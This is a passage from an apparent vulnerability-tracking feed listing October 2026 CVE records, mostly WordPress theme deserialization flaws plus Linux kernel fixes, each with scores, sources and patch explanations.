that comes from the internet) and rely on the Java sandbox for security. CVSS 3.1 Base Score 9.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability was identified in FaveoSuite Faveo Helpdesk 2.0.3. Affected by this issue is the function ForgotPasswordController::sendResetLinkEmail/PasswordController::reset of...
https://kevwire.com/record/CVE-2026-115973
A vulnerability was identified in FaveoSuite Faveo Helpdesk 2.0.3. Affected by this issue is the function ForgotPasswordController::sendResetLinkEmail/PasswordController::reset of... (Oct 24, 2026).
A vulnerability was identified in FaveoSuite Faveo Helpdesk 2.0.3. Affected by this issue is the function ForgotPasswordController::sendResetLinkEmail/PasswordController::reset of the file app/Http/Controllers/Auth/ForgotPasswordController.php. The manipulation leads to weak password recovery. The attack may be initiated remotely. The vendor was contacted early about this disclosure.
CVSS 6.9 (version 4.0; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-115973).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-115973&date=2026-10-25).
Sources:
NVD CVE-2026-115973: https://nvd.nist.gov/vuln/detail/CVE-2026-115973
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-115973&date=2026-10-25
A vulnerability was identified in FaveoSuite Faveo Helpdesk 2.0.3. Affected by this issue is the function ForgotPasswordController::sendResetLinkEmail/PasswordController::reset of the file app/Http/Controllers/Auth/ForgotPasswordController.php. The manipulation leads to weak password recovery. The attack may be initiated remotely. The vendor was contacted early about this disclosure.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Hogash KALLYAS kallyas allows Reflected XSS.This issue affects KALLYAS: from...
https://kevwire.com/record/CVE-2026-112863
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Hogash KALLYAS kallyas allows Reflected XSS.This issue affects KALLYAS: from... (Oct 23, 2026).
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Hogash KALLYAS kallyas allows Reflected XSS.This issue affects KALLYAS: from n/a through 4.25.0.
CVSS 7.1 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112863).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112863&date=2026-10-25).
Sources:
NVD CVE-2026-112863: https://nvd.nist.gov/vuln/detail/CVE-2026-112863
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112863&date=2026-10-25
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Hogash KALLYAS kallyas allows Reflected XSS.This issue affects KALLYAS: from n/a through 4.25.0.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Deserialization of Untrusted Data vulnerability in ThemeREX Group Little Birdies little-birdies allows Object Injection.This issue affects Little Birdies: from n/a through 1.3.16.
https://kevwire.com/record/CVE-2026-112859
Deserialization of Untrusted Data vulnerability in ThemeREX Group Little Birdies little-birdies allows Object Injection.This issue affects Little Birdies: from n/a through 1.3.16. (Oct 23, 2026).
Deserialization of Untrusted Data vulnerability in ThemeREX Group Little Birdies little-birdies allows Object Injection.This issue affects Little Birdies: from n/a through 1.3.16.
CVSS 9.8 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112859).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112859&date=2026-10-25).
Sources:
NVD CVE-2026-112859: https://nvd.nist.gov/vuln/detail/CVE-2026-112859
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112859&date=2026-10-25
Deserialization of Untrusted Data vulnerability in ThemeREX Group Little Birdies little-birdies allows Object Injection.This issue affects Little Birdies: from n/a through 1.3.16.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Deserialization of Untrusted Data vulnerability in axiomthemes Rhodos rhodos allows Object Injection.This issue affects Rhodos: from n/a through 1.3.3.
https://kevwire.com/record/CVE-2026-112858
Deserialization of Untrusted Data vulnerability in axiomthemes Rhodos rhodos allows Object Injection.This issue affects Rhodos: from n/a through 1.3.3. (Oct 23, 2026).
Deserialization of Untrusted Data vulnerability in axiomthemes Rhodos rhodos allows Object Injection.This issue affects Rhodos: from n/a through 1.3.3.
CVSS 9.8 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112858).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112858&date=2026-10-25).
Sources:
NVD CVE-2026-112858: https://nvd.nist.gov/vuln/detail/CVE-2026-112858
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112858&date=2026-10-25
Deserialization of Untrusted Data vulnerability in axiomthemes Rhodos rhodos allows Object Injection.This issue affects Rhodos: from n/a through 1.3.3.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Deserialization of Untrusted Data vulnerability in ThemeREX Group Vagabonds vagabonds allows Object Injection.This issue affects Vagabonds: from n/a through 1.3.10.
https://kevwire.com/record/CVE-2026-112856
Deserialization of Untrusted Data vulnerability in ThemeREX Group Vagabonds vagabonds allows Object Injection.This issue affects Vagabonds: from n/a through 1.3.10. (Oct 23, 2026).
Deserialization of Untrusted Data vulnerability in ThemeREX Group Vagabonds vagabonds allows Object Injection.This issue affects Vagabonds: from n/a through 1.3.10.
CVSS 9.8 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112856).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112856&date=2026-10-25).
Sources:
NVD CVE-2026-112856: https://nvd.nist.gov/vuln/detail/CVE-2026-112856
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112856&date=2026-10-25
Deserialization of Untrusted Data vulnerability in ThemeREX Group Vagabonds vagabonds allows Object Injection.This issue affects Vagabonds: from n/a through 1.3.10.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Deserialization of Untrusted Data vulnerability in axiomthemes Redy redy allows Object Injection.This issue affects Redy: from n/a through 1.3.5.
https://kevwire.com/record/CVE-2026-112855
Deserialization of Untrusted Data vulnerability in axiomthemes Redy redy allows Object Injection.This issue affects Redy: from n/a through 1.3.5. (Oct 23, 2026).
Deserialization of Untrusted Data vulnerability in axiomthemes Redy redy allows Object Injection.This issue affects Redy: from n/a through 1.3.5.
CVSS 9.8 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112855).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112855&date=2026-10-25).
Sources:
NVD CVE-2026-112855: https://nvd.nist.gov/vuln/detail/CVE-2026-112855
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112855&date=2026-10-25
Deserialization of Untrusted Data vulnerability in axiomthemes Redy redy allows Object Injection.This issue affects Redy: from n/a through 1.3.5.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Deserialization of Untrusted Data vulnerability in axiomthemes Holistic Center holistic-center allows Object Injection.This issue affects Holistic Center: from n/a through 1.2.6.
https://kevwire.com/record/CVE-2026-112854
Deserialization of Untrusted Data vulnerability in axiomthemes Holistic Center holistic-center allows Object Injection.This issue affects Holistic Center: from n/a through 1.2.6. (Oct 23, 2026).
Deserialization of Untrusted Data vulnerability in axiomthemes Holistic Center holistic-center allows Object Injection.This issue affects Holistic Center: from n/a through 1.2.6.
CVSS 9.8 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112854).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112854&date=2026-10-25).
Sources:
NVD CVE-2026-112854: https://nvd.nist.gov/vuln/detail/CVE-2026-112854
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112854&date=2026-10-25
Deserialization of Untrusted Data vulnerability in axiomthemes Holistic Center holistic-center allows Object Injection.This issue affects Holistic Center: from n/a through 1.2.6.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Deserialization of Untrusted Data vulnerability in ThemeREX Group Helion helion allows Object Injection.This issue affects Helion: from n/a through 1.1.12.
https://kevwire.com/record/CVE-2026-112852
Deserialization of Untrusted Data vulnerability in ThemeREX Group Helion helion allows Object Injection.This issue affects Helion: from n/a through 1.1.12. (Oct 23, 2026).
Deserialization of Untrusted Data vulnerability in ThemeREX Group Helion helion allows Object Injection.This issue affects Helion: from n/a through 1.1.12.
CVSS 8.1 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112852).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112852&date=2026-10-25).
Sources:
NVD CVE-2026-112852: https://nvd.nist.gov/vuln/detail/CVE-2026-112852
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112852&date=2026-10-25
Deserialization of Untrusted Data vulnerability in ThemeREX Group Helion helion allows Object Injection.This issue affects Helion: from n/a through 1.1.12.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Deserialization of Untrusted Data vulnerability in ThemeREX Group HotLock hotlock allows Object Injection.This issue affects HotLock: from n/a through 1.3.9.
https://kevwire.com/record/CVE-2026-112851
Deserialization of Untrusted Data vulnerability in ThemeREX Group HotLock hotlock allows Object Injection.This issue affects HotLock: from n/a through 1.3.9. (Oct 23, 2026).
Deserialization of Untrusted Data vulnerability in ThemeREX Group HotLock hotlock allows Object Injection.This issue affects HotLock: from n/a through 1.3.9.
CVSS 9.8 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112851).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112851&date=2026-10-25).
Sources:
NVD CVE-2026-112851: https://nvd.nist.gov/vuln/detail/CVE-2026-112851
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112851&date=2026-10-25
Deserialization of Untrusted Data vulnerability in ThemeREX Group HotLock hotlock allows Object Injection.This issue affects HotLock: from n/a through 1.3.9.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in AncoraThemes Your Dress your-dress allows PHP Local File...
https://kevwire.com/record/CVE-2026-112850
Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in AncoraThemes Your Dress your-dress allows PHP Local File... (Oct 23, 2026).
Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in AncoraThemes Your Dress your-dress allows PHP Local File Inclusion.This issue affects Your Dress: from n/a through 1.4.1.
CVSS 8.1 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112850).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112850&date=2026-10-25).
Sources:
NVD CVE-2026-112850: https://nvd.nist.gov/vuln/detail/CVE-2026-112850
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112850&date=2026-10-25
Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in AncoraThemes Your Dress your-dress allows PHP Local File Inclusion.This issue affects Your Dress: from n/a through 1.4.1.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Deserialization of Untrusted Data vulnerability in AivahThemes Hostme v2 hostmev2 allows Object Injection.This issue affects Hostme v2: from n/a through 7.0.
https://kevwire.com/record/CVE-2026-112848
Deserialization of Untrusted Data vulnerability in AivahThemes Hostme v2 hostmev2 allows Object Injection.This issue affects Hostme v2: from n/a through 7.0. (Oct 23, 2026).
Deserialization of Untrusted Data vulnerability in AivahThemes Hostme v2 hostmev2 allows Object Injection.This issue affects Hostme v2: from n/a through 7.0.
CVSS 9.8 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112848).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112848&date=2026-10-25).
Sources:
NVD CVE-2026-112848: https://nvd.nist.gov/vuln/detail/CVE-2026-112848
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112848&date=2026-10-25
Deserialization of Untrusted Data vulnerability in AivahThemes Hostme v2 hostmev2 allows Object Injection.This issue affects Hostme v2: from n/a through 7.0.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Deserialization of Untrusted Data vulnerability in ThemeREX ZenSoul zensoul allows Object Injection.This issue affects ZenSoul: from n/a through 1.13.
https://kevwire.com/record/CVE-2026-112847
Deserialization of Untrusted Data vulnerability in ThemeREX ZenSoul zensoul allows Object Injection.This issue affects ZenSoul: from n/a through 1.13. (Oct 23, 2026).
Deserialization of Untrusted Data vulnerability in ThemeREX ZenSoul zensoul allows Object Injection.This issue affects ZenSoul: from n/a through 1.13.
CVSS 9.8 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112847).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112847&date=2026-10-25).
Sources:
NVD CVE-2026-112847: https://nvd.nist.gov/vuln/detail/CVE-2026-112847
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112847&date=2026-10-25
Deserialization of Untrusted Data vulnerability in ThemeREX ZenSoul zensoul allows Object Injection.This issue affects ZenSoul: from n/a through 1.13.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Deserialization of Untrusted Data vulnerability in ThemeREX Group Save Life save-life allows Object Injection.This issue affects Save Life: from n/a through 1.2.14.
https://kevwire.com/record/CVE-2026-112846
Deserialization of Untrusted Data vulnerability in ThemeREX Group Save Life save-life allows Object Injection.This issue affects Save Life: from n/a through 1.2.14. (Oct 23, 2026).
Deserialization of Untrusted Data vulnerability in ThemeREX Group Save Life save-life allows Object Injection.This issue affects Save Life: from n/a through 1.2.14.
CVSS 9.8 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112846).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112846&date=2026-10-25).
Sources:
NVD CVE-2026-112846: https://nvd.nist.gov/vuln/detail/CVE-2026-112846
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112846&date=2026-10-25
Deserialization of Untrusted Data vulnerability in ThemeREX Group Save Life save-life allows Object Injection.This issue affects Save Life: from n/a through 1.2.14.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Linux kernel: KVM: x86: Use active memslots for the per-vCPU MMIO cache
https://kevwire.com/record/CVE-2026-99082
Linux kernel: KVM: x86: Use active memslots for the per-vCPU MMIO cache (Oct 23, 2026).
In the Linux kernel, the following vulnerability has been resolved:

KVM: x86: Use active memslots for the per-vCPU MMIO cache

KVM tags the per-vCPU MMIO cache with a memslot generation so that a
memslot update invalidates cached MMIO information.  Both the fill and
validation paths use kvm_memslots(), which unconditionally selects address
space 0, even when the vCPU is running in SMM and using address space 1.

Commit 56f17dd3fbc4 ("kvm: x86: fix stale mmio cache bug") added the
memslot generation to the cache key so that a memslot update could not
leave a stale entry valid.  When commit 699023e23965 ("KVM: x86: add SMM
to the MMU role, support SMRAM address space") added the SMM address space,
these helpers were not converted to use the active memslots.

Consequently, an update to the SMM memslots can leave an entry from the old
SMM address space apparently valid after the vCPU returns to the normal
address space.  A guest can then cause an access to valid RAM at the same
GFN to be returned to userspace as KVM_EXIT_MMIO.

Completing that exit through the VMM's RAM address space writes the backing
page without going through KVM's write-tracking path.  If the page backs a
nested EPT table, KVM can continue using shadow translations derived from
the old contents.  The WARN_ON_ONCE() in kvm_mmu_write_protect_fault()
catches this invalid cache and memslot combination.

Use the vCPU's active memslots when caching and validating the entry.
Memslot generations are unique across address spaces, so the generation
also distinguishes the normal and SMM views.  This matches the MMIO SPTE
cache, which already uses kvm_vcpu_memslots().

On an unpatched current-mainline kernel, a regression test that fills the
cache in SMM and updates only the SMM memslots fails the intended RAM write
and triggers the kvm_mmu_write_protect_fault() warning.  With this change,
the same test completes the RAM write without a warning.  The x86/smm_test,
set_memory_region_test, and memslot_modification_stress_test selftests also
pass.
CVSS 8.8 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-99082).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-99082&date=2026-10-25).
Sources:
NVD CVE-2026-99082: https://nvd.nist.gov/vuln/detail/CVE-2026-99082
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-99082&date=2026-10-25
In the Linux kernel, the following vulnerability has been resolved:

KVM: x86: Use active memslots for the per-vCPU MMIO cache

KVM tags the per-vCPU MMIO cache with a memslot generation so that a
memslot update invalidates cached MMIO information.  Both the fill and
validation paths use kvm_memslots(), which unconditionally selects address
space 0, even when the vCPU is running in SMM and using address space 1.

Commit 56f17dd3fbc4 ("kvm: x86: fix stale mmio cache bug") added the
memslot generation to the cache key so that a memslot update could not
leave a stale entry valid.  When commit 699023e23965 ("KVM: x86: add SMM
to the MMU role, support SMRAM address space") added the SMM address space,
these helpers were not converted to use the active memslots.

Consequently, an update to the SMM memslots can leave an entry from the old
SMM address space apparently valid after the vCPU returns to the normal
address space.  A guest can then cause an access to valid RAM at the same
GFN to be returned to userspace as KVM_EXIT_MMIO.

Completing that exit through the VMM's RAM address space writes the backing
page without going through KVM's write-tracking path.  If the page backs a
nested EPT table, KVM can continue using shadow translations derived from
the old contents.  The WARN_ON_ONCE() in kvm_mmu_write_protect_fault()
catches this invalid cache and memslot combination.

Use the vCPU's active memslots when caching and validating the entry.
Memslot generations are unique across address spaces, so the generation
also distinguishes the normal and SMM views.  This matches the MMIO SPTE
cache, which already uses kvm_vcpu_memslots().

On an unpatched current-mainline kernel, a regression test that fills the
cache in SMM and updates only the SMM memslots fails the intended RAM write
and triggers the kvm_mmu_write_protect_fault() warning.  With this change,
the same test completes the RAM write without a warning.  The x86/smm_test,
set_memory_region_test, and memslot_modification_stress_test selftests also
pass.

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Linux kernel: bnxt_en: fix DMA mapping length for padded small packets
https://kevwire.com/record/CVE-2026-99081
Linux kernel: bnxt_en: fix DMA mapping length for padded small packets (Oct 23, 2026).
In the Linux kernel, the following vulnerability has been resolved:

bnxt_en: fix DMA mapping length for padded small packets

Stefan Fleischmann reported Intel IOMMU DMA Read faults on BCM57412
NetXtreme-E NICs when transmitting packets on VLAN/macvlan interfaces:

  DMAR: [DMA Read NO_PASID] Request device [18:00.0] fault addr 0xfc499000
        [fault reason 0x06] PTE Read access is not set
  bnxt_en 0000:18:00.0 eno1np0: Abandoning msg {0xb4 0x41a} len: 0 due to firmware status: 0x2000001
  ...
  NETDEV WATCHDOG: eno1np0 (bnxt_en): transmit queue 0 timed out

The fault address (0xfc499000) is on an exact 4KB page boundary,
pointing to a DMA read buffer overrun.

In bnxt_start_xmit(), packets smaller than BNXT_MIN_PKT_SIZE (52 bytes),
such as 42-byte untagged ARP frames, are padded:

    if (length < BNXT_MIN_PKT_SIZE) {
        pad = BNXT_MIN_PKT_SIZE - length;
        if (skb_pad(skb, pad))
            goto tx_kick_pending;
        length = BNXT_MIN_PKT_SIZE;
    }

    mapping = dma_map_single(&pdev->dev, skb->data, len, DMA_TO_DEVICE);
    ...
    dma_unmap_len_set(tx_buf, len, len);

However, 'len' was initialized earlier to skb_headlen(skb) (e.g. 42 bytes)
and is left unadjusted after padding. Consequently, dma_map_single() and
dma_unmap_len_set() map and track only 42 bytes.

Later, the hardware TX buffer descriptor is programmed with the padded length:

    txbd->tx_bd_len_flags_type =
        cpu_to_le32(((len + pad) << TX_BD_LEN_SHIFT) | flags |
                    TX_BD_FLAGS_PACKET_END);

The NIC DMA engine is thus instructed to read 52 bytes from a region where
only 42 bytes were DMA-mapped. If skb->data ends near the boundary of a 4KB
page (within 'pad' bytes of the next page), the hardware DMA read overruns
into the unmapped adjacent page, triggering an IOMMU fault.

This issue was exposed after commit 447cbe95ebb9 ("vlan: fix skb_under_panic
and races when toggling HW VLAN offload") because reserving extra VLAN
headroom rounded LL_RESERVED_SPACE from 48 up to 64 bytes, shifting skb->data
offsets and potentially causing small frames to land right against page
boundaries.

Fix this by using skb_put_padto(skb, BNXT_MIN_PKT_SIZE) in
bnxt_start_xmi
CVSS 7.5 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-99081).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-99081&date=2026-10-25).
Sources:
NVD CVE-2026-99081: https://nvd.nist.gov/vuln/detail/CVE-2026-99081
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-99081&date=2026-10-25
In the Linux kernel, the following vulnerability has been resolved:

bnxt_en: fix DMA mapping length for padded small packets

Stefan Fleischmann reported Intel IOMMU DMA Read faults on BCM57412
NetXtreme-E NICs when transmitting packets on VLAN/macvlan interfaces:

  DMAR: [DMA Read NO_PASID] Request device [18:00.0] fault addr 0xfc499000
        [fault reason 0x06] PTE Read access is not set
  bnxt_en 0000:18:00.0 eno1np0: Abandoning msg {0xb4 0x41a} len: 0 due to firmware status: 0x2000001
  ...
  NETDEV WATCHDOG: eno1np0 (bnxt_en): transmit queue 0 timed out

The fault address (0xfc499000) is on an exact 4KB page boundary,
pointing to a DMA read buffer overrun.

In bnxt_start_xmit(), packets smaller than BNXT_MIN_PKT_SIZE (52 bytes),
such as 42-byte untagged ARP frames, are padded:

    if (length < BNXT_MIN_PKT_SIZE) {
        pad = BNXT_MIN_PKT_SIZE - length;
        if (skb_pad(skb, pad))
            goto tx_kick_pending;
        length = BNXT_MIN_PKT_SIZE;
    }

    mapping = dma_map_single(&pdev->dev, skb->data, len, DMA_TO_DEVICE);
    ...
    dma_unmap_len_set(tx_buf, len, len);

However, 'len' was initialized earlier to skb_headlen(skb) (e.g. 42 bytes)
and is left unadjusted after padding. Consequently, dma_map_single() and
dma_unmap_len_set() map and track only 42 bytes.

Later, the hardware TX buffer descriptor is programmed with the padded length:

    txbd->tx_bd_len_flags_type =
        cpu_to_le32(((len + pad) << TX_BD_LEN_SHIFT) | flags |
                    TX_BD_FLAGS_PACKET_END);

The NIC DMA engine is thus instructed to read 52 bytes from a region where
only 42 bytes were DMA-mapped. If skb->data ends near the boundary of a 4KB
page (within 'pad' bytes of the next page), the hardware DMA read overruns
into the unmapped adjacent page, triggering an IOMMU fault.

This issue was exposed after commit 447cbe95ebb9 ("vlan: fix skb_under_panic
and races when toggling HW VLAN offload") because reserving extra VLAN
headroom rounded LL_RESERVED_SPACE from 48 up to 64 bytes, shifting skb->data
offsets and potentially causing small frames to land right against page
boundaries.

Fix this by using skb_put_padto(skb, BNXT_MIN_PKT_SIZE) in
bnxt_start_xmit(), before skb_shinfo(skb)->nr_frags is sampled,
because padding might linearize the skb.
This ensures skb->len and skb_headlen(skb) reflect the padded size so
that dma_map_single() maps the full buffer and the descriptor length is
consistent. This also removes the temporary 'pad' variable and masking logic.

The padding is done after the SW USO branch, otherwise
bnxt_sw_udp_gso_xmit() would account the padding as UDP payload
and send it in extra segments.

Note that SW USO segments are still not padded: with IPv4, a segment
carrying less than 10 bytes of UDP payload (small gso_size, or a short
last segment) is sent as a frame shorter than BNXT_MIN_PKT_SIZE.
This is a separate issue, left for a followup patch.

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Linux kernel: net/mlx5e: Prevent stale XSK buffer release on refill retry
https://kevwire.com/record/CVE-2026-99079
Linux kernel: net/mlx5e: Prevent stale XSK buffer release on refill retry (Oct 23, 2026).
In the Linux kernel, the following vulnerability has been resolved:

net/mlx5e: Prevent stale XSK buffer release on refill retry

When an XDP redirect to an AF_XDP socket fails because its RX ring is
full, the XSK core frees the buffer. During the subsequent batched refill
of a legacy cyclic RQ, mlx5e also releases the WQE's XSK buffer before
